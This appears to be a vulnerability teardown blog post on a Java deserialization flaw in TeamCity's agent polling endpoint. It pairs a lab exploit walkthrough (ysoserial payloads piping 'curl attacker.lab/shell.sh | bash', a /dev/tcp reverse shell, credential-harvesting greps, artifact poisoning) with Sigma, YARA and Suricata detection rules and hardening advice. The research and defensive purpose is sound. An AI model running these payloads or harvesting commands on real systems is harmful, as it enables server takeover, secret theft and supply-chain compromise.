CVE-2026-63077 Teardown: Weaponizing JetBrains TeamCity’s Agent Polling Protocol for Zero-Click CI/CD Pipeline Takeover

On July 27, 2026, JetBrains shipped a fix for a bug that should terrify anyone who signs software for a living. CVE-2026-63077 is an unauthenticated, network-reachable deserialization flaw in every on-premises TeamCity build server ever shipped, and it carries a CVSS of 9.8 for a reason. No credentials. No user interaction. A single crafted HTTP request into the agent polling channel and the server-side JVM runs your command. If that phrasing sounds familiar, it should: this is the exact class of bug APT29 rode into hundreds of TeamCity servers in late 2023. The clock on weaponization started ticking the moment the advisory went live.

I want to be honest about what we can and cannot say. JetBrains has not published the vulnerable class name, the method signature, the exact endpoint route, the serialized object structure, or the gadget chain. So I am not going to pretend I reverse-engineered the live bug from a decompiler session I did not run. What I will do is give you the confirmed facts, walk the CWE-502 mechanics that make this class of flaw work, build a self-contained lab analogue that behaves like the vulnerable pattern, and hand you detection content you can deploy today. That is the defensible posture, and it is also the useful one.


Why TeamCity Is a Tier-1 Target Before You Look at a Single Packet

Start with the threat model, because the threat model is why you should already be patching instead of reading.

A TeamCity server is not just an application. It is the beating heart of a software factory. It holds VCS credentials to your source repositories, signing keys and certificates, cloud API tokens, container registry credentials, and the artifacts that get shipped to your customers. It orchestrates the compilation and deployment of code that runs on other people’s machines. Compromise the box and you do not just own a server, you own the trust chain that everything downstream depends on. That is the definition of a supply-chain foothold.

Nation-state operators figured this out years ago. Since September 2023, the SVR-affiliated crew tracked as APT29 (also Cozy Bear, the Dukes, Midnight Blizzard) has been hitting internet-exposed TeamCity servers to bypass authorization and execute code. That campaign leaned on CVE-2023-42793, a path-handling authorization bypass that let an attacker mint an admin token and drop a payload. CISA, FBI, NSA and the NCSC found it serious enough to publish joint advisory AA23-347A in December 2023, complete with YARA and Sigma rules for the exploitation activity. That advisory is the template for what defenders should expect here. When the last severe TeamCity bug dropped, the response was a coordinated four-nation warning. Read that as a signal about how these servers get targeted.

Ransomware affiliates followed the same scent. TeamCity’s history is a case study in how fast a public CI/CD RCE gets picked up. The pattern is consistent: severe vulnerability disclosed, proof-of-concept reverse-engineered from the patch within days to weeks, mass scanning shortly after, and then both financially motivated and state-aligned actors piling in. JetBrains says there is no confirmed exploitation of CVE-2026-63077 at disclosure. Do not treat that as reassurance. Treat it as the quiet before the patch-diff crowd publishes.

Here is my thesis, stated plainly: with this bug you make defensive decisions based on reachability, privilege, and downstream blast radius, not on whether someone has posted a confirmed campaign yet. If your TeamCity server is reachable and running as a fat service account, you are already late.


The Agent Polling Protocol and Where the Trust Boundary Actually Sits

To understand the attack surface you have to understand how build agents talk to the server, because the confirmed root cause lives in that conversation.

TeamCity uses a client-server model. The server schedules and coordinates builds; agents do the actual work of checking out code, compiling, and running tests. The channel between them is the agent communication protocol, and its default mode in modern TeamCity is unidirectional. That word matters. In unidirectional mode, the agent initiates an HTTP(S) connection to the server and periodically polls it for commands and configuration updates. The server does not open a connection back to the agent. Bidirectional mode was dropped in TeamCity 2021.2.

Now here is the trap in the architecture, and it is a trap in the mental model more than in the code. Because the agent starts the TCP connection, administrators tend to assume the polling protocol is only ever spoken by trusted agents they provisioned. The direction of the connection feels like a security property. It is not. The server still receives, parses, and responds to whatever protocol messages arrive on that endpoint. The transport initiator has nothing to do with whether the payload is trustworthy.

That is the whole game. Any reachable protocol handler has to treat remote input as untrusted until the peer is authenticated and the message is validated. If the handler deserializes the message body before it authenticates the peer, the authentication check is irrelevant. You already ran the attacker’s objects.

JetBrains confirmed the shape of the bypass in the advisory: an attacker sends a crafted, malicious payload to the agent polling endpoint over the network, and no authentication, session token, or valid username is required. Combine that with the confirmed weakness class (CWE-502, deserialization of untrusted data) and the picture snaps into focus. Somewhere in the polling protocol handler, a serialized object coming off the wire hits a deserialization routine before the request has earned the right to be trusted.

The agent communication runs over the same server port as the web UI by default, port 8111. That is worth sitting with. The thing people expose so developers can see build status is the same thing that speaks the vulnerable protocol.


Flow diagram showing an unauthenticated attacker posting a serialized Java payload to the TeamCity agent polling endpoint, which passes the body to readObject() before any authentication check, triggering a gadget chain that reaches Runtime.exec()
The connection direction is a false security boundary – the server deserializes whatever arrives at the polling endpoint before authenticating the peer.

Root Cause: CWE-502 and Why readObject() Is a Loaded Gun

Deserialization of untrusted data is one of the oldest and nastiest bug classes in the Java world, and it is worth explaining the mechanism rather than waving at it.

Serialization converts an object’s state into a flat byte stream so it can be written to disk or sent over a network. Deserialization reconstructs the object from that stream. In Java, the canonical primitive is ObjectInputStream.readObject(). The problem is that readObject() does not just copy bytes into fields. It can invoke class-defined logic during reconstruction. A class can implement its own readObject method, and that method runs as part of deserialization. Oracle’s own documentation is blunt about this: deserialization is a form of code execution, because a class’s readObject method can contain arbitrary custom code.

So the moment you call readObject() on bytes an attacker controls, you have handed the attacker a lever on whatever code paths are reachable through the classes on your classpath. The attacker does not get to define new classes, but they do get to choose which existing classes get instantiated and in what shape, and they get to trigger the side effects those classes perform during reconstruction. Chain the right set of these side effects together and you reach a method that runs an OS command. That chain is called a gadget chain.

The classic sources of gadget chains are widely deployed libraries: Apache Commons Collections, the Spring Framework, Groovy, SnakeYAML. Apache Commons Collections 3.x is the textbook example because its InvokerTransformer class can be coaxed into invoking arbitrary methods via reflection. String enough of those transformers together inside a LazyMap or a TransformingComparator and you build a path from readObject() to Runtime.getRuntime().exec(). The tool that packages these chains into ready-made payloads is ysoserial, and it has been the standard for a decade.

The wire signature is the tell. A Java serialized stream begins with the magic bytes AC ED 00 05: AC ED is the stream magic, 00 05 is the protocol version. Any HTTP body starting with those four bytes is a serialized Java object, full stop. Hold that thought, because it is the single most useful detection artifact in this entire teardown.

[INFERRED] Given that the TeamCity server runs on the JVM (Java and Kotlin), and given that the confirmed weakness is CWE-502 reached through the polling endpoint, the most parsimonious explanation is a readObject()-style sink on the polling message body with no java.io.ObjectInputFilter applied, reachable before authentication. The correct defense-in-depth control against exactly this pattern is a serialization allowlist filter, which is why JetBrains ships a -Djdk.serialFilter recommendation as a hardening step (more on that later).

I will say it once more so nobody quotes me wrong: JetBrains has not confirmed the vulnerable class, the specific gadget chain, or whether the fix was a filter, a class change, or a protocol rework. The mechanics above are the general CWE-502 story. The lab below is my own construction that reproduces the pattern.


Conceptual illustration of a gun with a Java cup barrel and chain-linked gear cylinders symbolizing the CWE-502 gadget chain as a loaded weapon awaiting a trigger
Every class on the JVM classpath with a custom readObject() method is a potential link in an attacker’s gadget chain – a loaded round already chambered.

Building a Lab That Behaves Like the Bug

You do not attack a production or unowned TeamCity server to learn this. You build a target you own. There are two lab tracks, and serious researchers run both.

Track A: Patch-diff research on the real thing

Stand up an isolated VM, no external network, running the last vulnerable release, TeamCity On-Premises 2025.11.6, pulled from the JetBrains archive. Decompile the server JARs from 2025.11.6 and the fixed 2025.11.7 with jadx or cfr, then run a git diff across the decompiled output. This is how the PoC crowd will locate the patched handler, and it is how you confirm the real endpoint route and the real fix strategy instead of guessing. Keep it air-gapped.

Track B: Intentionally vulnerable analogue (the primary teaching target)

Because I will not publish a turnkey exploit for a freshly patched live target, the working exploit path runs against a small Java server I wrote that mimics the vulnerable pattern. It listens on port 9090, accepts a POST to /polling, and passes the request body straight to readObject() with no filter and no auth. That is the vulnerability class in miniature.

// VulnAgentPollServer.java  [LAB ANALOGUE - not TeamCity code]
// Compile against Apache Commons Collections 3.2.1 on the classpath.
import com.sun.net.httpserver.*;
import java.io.*;
import java.net.InetSocketAddress;

public class VulnAgentPollServer {
    public static void main(String[] args) throws Exception {
        HttpServer s = HttpServer.create(new InetSocketAddress(9090), 0);
        s.createContext("/polling", ex -> {
            // No authentication. Body deserialized before any trust check.
            try (ObjectInputStream ois =
                     new ObjectInputStream(ex.getRequestBody())) {
                Object o = ois.readObject();   // <-- CWE-502 sink
                byte[] r = ("polled: " + o).getBytes();
                ex.sendResponseHeaders(200, r.length);
                ex.getResponseBody().write(r);
            } catch (Exception e) {
                ex.sendResponseHeaders(500, -1);
            }
            ex.close();
        });
        s.start();
        System.out.println("Vuln poll server on :9090/polling");
    }
}

Lab stack: Ubuntu 22.04 or Windows Server 2022, Java 11 JDK, Maven, ysoserial, Burp Suite Community, Wireshark. For the post-exploitation and secret-harvesting portion you also want a full TeamCity 2025.11.6 install in Track A so the directory layout and stored-secret formats are real.


Exploit Path: HTTP Request to OS Shell

Everything below runs against the lab analogue on localhost:9090 or your air-gapped TeamCity VM. Nothing here targets a live, unpatched production server, and the payload path deliberately stops at the generic CWE-502 primitive rather than a confirmed TeamCity chain.

Step 1: Reconnaissance and version fingerprint

# Authorized-scope enumeration only.
# Shodan facet: http.title:"TeamCity" port:8111

curl -sk https://target:8111/app/rest/server | python3 -m json.tool
# Read "version" and "buildNumber".
# < 2025.11.7 or < 2026.1.3 => in the vulnerable band.

nmap -sV -p 8111,9090 target

Step 2: Locate the polling endpoint

[INFERRED – path unconfirmed; resolve this via the Track A patch diff, do not trust guesses] Agent communication rides the server port, 8111, by default. Candidate route families to confirm against the decompiled handler include /update/*, /app/agent/*, and /agentServer/*. In the lab analogue the route is simply /polling:

curl -X POST http://localhost:9090/polling \
  -H "Content-Type: application/x-java-serialized-object" \
  --data-binary @benign_ping.ser
# 200 OK -> the handler deserializes with no auth in front of it.

Step 3: Generate the payload with ysoserial

# CommonsCollections5 chain, Java 8-11 with CC 3.x/4.x on the target classpath.
java -jar ysoserial.jar CommonsCollections5 \
  'curl http://attacker.lab/shell.sh | bash' \
  > payload_cc5.ser

# Confirm the Java serialization header.
xxd payload_cc5.ser | head -1
# 0000: aced 0005 ...   <- AC ED 00 05, the tell.

Step 4: Deliver it

curl -X POST http://localhost:9090/polling \
  -H "Content-Type: application/x-java-serialized-object" \
  --data-binary @payload_cc5.ser -v
# The lab JVM's readObject() drives the gadget chain into Runtime.exec().
# Command runs as the JVM process user.

Step 5: Interactive shell

# Attacker box:
nc -lvnp 4444

java -jar ysoserial.jar CommonsCollections5 \
  'bash -i >& /dev/tcp/attacker.lab/4444 0>&1' \
  > shell_payload.ser

curl -X POST http://localhost:9090/polling \
  -H "Content-Type: application/x-java-serialized-object" \
  --data-binary @shell_payload.ser

You now have code execution at the privilege level of the server process. On a lazily deployed real server that is often the crown jewels, because plenty of shops still run TeamCity as root or as a high-privilege Windows service account. That single configuration decision is the difference between a contained incident and a supply-chain disaster.


Blast Radius: What You Actually Lose

RCE is the doorway. The reason a 9.8 on a CI server is worse than a 9.8 almost anywhere else is what sits behind that door. Against your Track A TeamCity VM, walk the data directory the way an operator would.

# Data dir defaults:
#   Linux:   /var/lib/teamcity/.BuildServer/
#   Windows: C:\ProgramData\JetBrains\TeamCity\

# Config XML holding secrets:
find /var/lib/teamcity/.BuildServer/config -name "*.xml" \
  | xargs grep -l "password\|token\|secret\|key" 2>/dev/null

# RSA-encrypted tokens and plugin secret stores:
ls /var/lib/teamcity/.BuildServer/system/pluginData/

# VCS credentials (Git, SVN, Perforce) in VCS root configs:
cat /var/lib/teamcity/.BuildServer/config/projects/**/*VcsRoot*.xml

# Server-visible build parameters / injected secrets:
env | grep -iE 'TOKEN|SECRET|KEY|PASSWORD|API'

# Artifacts, ripe for poisoning:
ls /var/lib/teamcity/.BuildServer/artifacts/

JetBrains states the impact plainly: depending on the server process privileges, a successful attack can expose TeamCity data, configurations, and stored credentials, modify server state, and compromise the integrity of build artifacts and downstream pipelines. Translate that into an attacker’s shopping list:

LootDownstream leverage
VCS credentials / SSH keysClone, backdoor, and push to your source repositories
Code signing keys and certificatesSign malicious binaries as you
Cloud and registry tokensPivot into AWS/GCP/Azure, push poisoned containers
Stored build parametersChained access to databases, APIs, third-party services
Build artifactsReplace a shipped binary with a trojaned one

The artifact-poisoning move is the endgame and the reason APT29 cares. Swap a legitimate artifact for a backdoored one and every downstream consumer who trusts your pipeline pulls the implant. This is SolarWinds-shaped risk, delivered through a build server RCE.

# [LAB] Artifact poisoning demonstration only.
cp .BuildServer/artifacts/proj/build/app.jar /tmp/app.jar.bak
jar uf .BuildServer/artifacts/proj/build/app.jar MaliciousClass.class

That is why “just an internal CI box” is the wrong framing. The CI box is the thing that manufactures trust.


Hierarchy diagram branching from a single TeamCity RCE node into VCS credentials, signing keys, cloud tokens, and build artifacts, all converging on supply chain compromise and downstream system access
A single RCE on the CI server cascades into every secret it holds – the build server is the factory of trust, and poisoning its output affects every downstream consumer.

Detection and Defense

This is where you spend your energy, because you cannot un-ship an artifact and you cannot un-leak a signing key. Build detection for the primitive and for the post-exploitation TTPs, then harden so the primitive lands on barren ground.

Sysmon telemetry that matters

Event IDAlert on
EID 1 (Process Create)TeamCity JVM (java/java.exe) spawning cmd.exe, powershell.exe, bash, sh, curl, wget, nc, python
EID 3 (Network Connection)TeamCity JVM making outbound connections to non-CI infrastructure
EID 7 (Image Load)Unexpected JARs loaded into the TeamCity JVM
EID 11 (File Create)JVM writing executables, scripts, or .ser files to temp or .BuildServer/
EID 17/18 (Pipe)Suspicious named pipes from the JVM
EID 22 (DNS Query)JVM resolving domains outside the CI allowlist

On Windows, pair this with Security 4688 process creation events and command-line auditing enabled, plus Microsoft-Windows-Kernel-Process for child spawns. Turn on Java Flight Recorder on the JVM to catch Runtime.exec() and ProcessBuilder.start() calls at the runtime level, which is telemetry an attacker cannot easily dodge without touching the JVM itself.

AuditProcessCreation = Success, Failure
Command-Line Auditing: ProcessCreationIncludeCmdLine_Enabled = 1
AuditObjectAccess = Success   (scope to the .BuildServer directory)

Sigma: suspicious child of the TeamCity JVM

title: Suspicious Child Process from TeamCity JVM
id: 6f3b9e2a-1c4d-4a77-9f2e-cve202663077
status: experimental
description: Unexpected process spawned by the TeamCity server Java process, possible CVE-2026-63077 post-exploitation
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    ParentImage|endswith: ['\java.exe', '\javaw.exe']
    ParentCommandLine|contains: 'teamcity'
    Image|endswith:
      - '\cmd.exe'
      - '\powershell.exe'
      - '\curl.exe'
      - '\wget.exe'
      - '\bash.exe'
      - '\nc.exe'
      - '\python.exe'
  condition: selection
falsepositives:
  - Legitimate build steps that invoke shells via a runner (exclude known runner paths in ParentCommandLine)
level: high
tags: [attack.t1190, attack.t1059.001, attack.t1059.004]

Sigma: serialized object on the wire

title: Java Deserialization Magic Bytes to TeamCity Agent Port
id: b2d7c118-9a3e-4c60-8d51-cve202663077net
status: experimental
logsource:
  product: zeek
  category: http
detection:
  selection:
    dst_port: [8111, 9090]
    method: POST
    request_body_hex|startswith: 'aced0005'
  condition: selection
level: critical

YARA for capture and memory scanning

rule CVE_2026_63077_JavaDeser_Payload
{
    meta:
        description = "Java serialization payload in traffic or on disk, possible CVE-2026-63077 attempt"
        author      = "GenXCyber Research"
        date        = "2026-07-28"
        severity    = "critical"
    strings:
        $java_ser_magic = { AC ED 00 05 }
        $cc_transform   = "InvokerTransformer" ascii wide
        $cc_chain       = "CommonsCollections" ascii wide
        $cc_lazy        = "LazyMap" ascii wide
        $runtime_exec   = "java/lang/Runtime" ascii
        $proc_builder   = "ProcessBuilder" ascii
    condition:
        $java_ser_magic and
        2 of ($cc_transform, $cc_chain, $cc_lazy, $runtime_exec, $proc_builder)
}

This is generic ysoserial/CWE-502 detection. When a researcher publishes the confirmed chain for CVE-2026-63077, tighten it with the real class strings.

Snort / Suricata

alert http $EXTERNAL_NET any -> $HOME_NET [8111,9090] (
  msg:"EXPLOIT JetBrains TeamCity Agent Poll Java Deserialization (CVE-2026-63077)";
  flow:established,to_server;
  http_method; content:"POST";
  http_uri; content:"/app/agent"; nocase;
  http_request_body; content:"|AC ED 00 05|";
  classtype:attempted-admin; sid:2026063077; rev:1;
  metadata:cve CVE-2026-63077, signature_severity Critical;
)

The /app/agent URI is a placeholder. Replace it with the confirmed polling route once your patch diff resolves it. The body content match on AC ED 00 05 is the durable part.

CI/CD-specific detection engineering

Network signatures catch the delivery. The CI-aware controls catch the abuse of the platform itself, and those are the ones that survive an attacker who slips a novel gadget past your NIDS.

  • Alert on buildStarted events with no corresponding VCS trigger or manual dispatch. Builds that nobody scheduled are builds an attacker scheduled.
  • Sign artifacts with Sigstore/cosign and verify signatures in every downstream stage. Alert on any artifact that changed without a matching build event.
  • Poll the REST API for drift: /app/rest/buildTypes/<id>/parameters for new credentials, /app/rest/agents for agent registrations from IPs outside your known pool.
  • Treat any outbound connection from the TeamCity JVM to an address outside your defined build infrastructure as high severity by default.

MITRE ATT&CK mapping

IDTechniqueWhere it lands
T1190Exploit Public-Facing ApplicationInitial access via the polling endpoint
T1059.001 / .004PowerShell / Unix ShellPost-exploitation command execution
T1552.001Credentials In FilesHarvesting .BuildServer/config secrets
T1552.004Private KeysStealing signing and SSH keys
T1195.002Compromise Software Supply ChainArtifact poisoning
T1078Valid AccountsReusing harvested credentials
T1136Create AccountRogue TeamCity admin accounts
T1105Ingress Tool TransferPulling implants via the JVM

The same T1190 entry that APT29 used against CVE-2023-42793 applies here directly. Different bug, same doorway.

Patch and harden

Upgrade to 2025.11.7 or 2026.1.3. If you are stuck on an older release, the security patch plugin covers 2017.1 and up. Note the restart caveat: v2017.1 through v2018.1 require a server restart after installing the plugin, while v2018.2 and later hot-apply. TeamCity Cloud is already fixed and not affected.

Beyond the patch, do the things that would have blunted this even before July 27:

  • Run the server as a least-privilege service account, never root or SYSTEM. This alone caps the blast radius of any RCE.
  • Enable JVM serialization filtering with -Djdk.serialFilter= to allowlist acceptable classes. This is the defense-in-depth control that neutralizes the entire CWE-502 class independent of any single patch.
  • Deploy a WAF rule dropping POST bodies that begin with AC ED 00 05 to the TeamCity port.
  • Restrict network access to the server, and especially the agent polling port, to trusted internal agent IP ranges. JetBrains is explicit that even an exposed login screen or REST API is an entry point.
  • Enable MFA on all admin accounts.
  • If there is any chance of prior exploitation, rotate every credential stored in TeamCity after patching. Signing keys, VCS creds, cloud tokens, all of it. Assume the secrets are burned.

Key Takeaways

  • CVE-2026-63077 is an unauthenticated CWE-502 RCE reachable through TeamCity’s agent polling protocol on every on-premises version below 2025.11.7 / 2026.1.3. Patch now; TeamCity Cloud is unaffected.
  • The connection direction is a trap. Agents dial out, but the server still deserializes whatever hits the polling handler, and that handler ran attacker objects before authenticating the peer.
  • The public internals are not confirmed. The vulnerable class, route, and gadget chain are unpublished, so the exploit path here runs against a self-built lab analogue, not a live server. Anyone claiming a confirmed live PoC before the patch-diff work lands is guessing.
  • The blast radius is supply-chain, not just server compromise: VCS creds, signing keys, cloud tokens, and poisonable artifacts. A fat service account turns an RCE into a manufacturing-trust breach.
  • Detect on the durable signal (the AC ED 00 05 serialized header to the TeamCity port) and on CI-aware anomalies (unscheduled builds, unsigned artifact changes, rogue agent registrations), then harden with least privilege, jdk.serialFilter, and network segmentation.
  • History rhymes. APT29 weaponized the last TeamCity RCE within weeks and earned a four-nation advisory for it. Assume this one is already on someone’s target list and act before the PoC drops.

References